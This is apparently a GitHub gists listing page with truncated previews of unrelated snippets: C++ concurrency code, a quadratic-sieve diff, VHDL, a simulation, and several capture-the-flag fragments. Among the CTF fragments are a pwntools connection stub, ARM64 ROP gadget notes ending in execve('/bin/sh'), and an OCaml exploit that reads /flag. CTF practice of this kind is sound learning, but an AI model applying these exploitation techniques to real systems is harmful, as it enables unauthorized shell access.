This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <exe/tp/thread_pool.hpp> | |
#include <exe/fibers/core/api.hpp> | |
#include <wheels/support/assert.hpp> | |
#include <chrono> | |
#include <iostream> | |
using namespace exe; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from pwn import * | |
def connect(): | |
if args.REMOTE: | |
return remote('pwn1.ctf.zer0pts.com', 9002) | |
return process('./chall') | |
with connect() as tube: |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <atomic> | |
#include <cstdint> | |
#include <chrono> | |
#include <iostream> | |
#include <thread> | |
bool IsPrime(uint64_t x) { | |
for (uint64_t y = 2; y * y <= x; ++y) { | |
if (x % y == 0) { | |
return false; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
diff --git a/factorizer_qs.py b/factorizer_qs.py | |
index 1368283..e326743 100644 | |
--- a/factorizer_qs.py | |
+++ b/factorizer_qs.py | |
@@ -70,7 +70,7 @@ class QuadraticSieve(Factorizer): | |
x = int(x) | |
candidate = (x+chunk_start)*(x+chunk_start) - N | |
factorization = _is_smooth(candidate) | |
- if factorization is not None: candidates_out[candidate] = factorization | |
+ if factorization is not None: candidates_out[x+chunk_start] = factorization.to_dict() |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
library ieee; | |
context ieee.ieee_std_context; | |
use work.components.all; | |
use ieee.numeric_std.all; | |
use ieee.std_logic_1164.all; | |
entity Fomu_Blink is | |
port ( |
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
c = 0x58566f59979e98e5f2f3ecea26cfb0319bc9186e206d6b33e933f3508e39e41bb771e4af053 | |
BITS = 300 | |
def LFSR(r): | |
while True: | |
yield r & 1 | |
b = (r & 1) ^\ | |
((r & 2) >> 1) ^\ | |
((r & 8) >> 3) ^\ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
These are chained one after the other, then we finally jump to 4073D8 to run `execve("/bin/sh", NULL, NULL)`. | |
0407ED8 LDUR X0, [SP,#-0x40+arg_38] | |
0407EDC ADD X0, X1, X0 | |
0407EE0 LDP X29, X30, [SP,#-0x40+arg_0] | |
0407EE4 SUB SP, SP, #0x40 | |
0407EE8 RET | |
0406D70 MOV X1, X0 | |
0406D74 LDUR X0, [SP,#-8] |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
let print_flag do_open _ = print_endline (input_line (do_open "/flag")) | |
let oob () = "".[1] | |
let g exit _ = | |
exit := !exit - 1416; | |
Callback.register "Printexc.handle_uncaught_exception" print_flag; | |
oob ();; | |
Callback.register "Pervasives.array_bound_error" do_at_exit; | |
Callback.register "Printexc.handle_uncaught_exception" g; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import random | |
ACCURACY = 0.75 | |
def simulate(sensor_count, rain_prob): | |
real_rain_count, total_count = 0, 0 | |
for iter in range(100000): |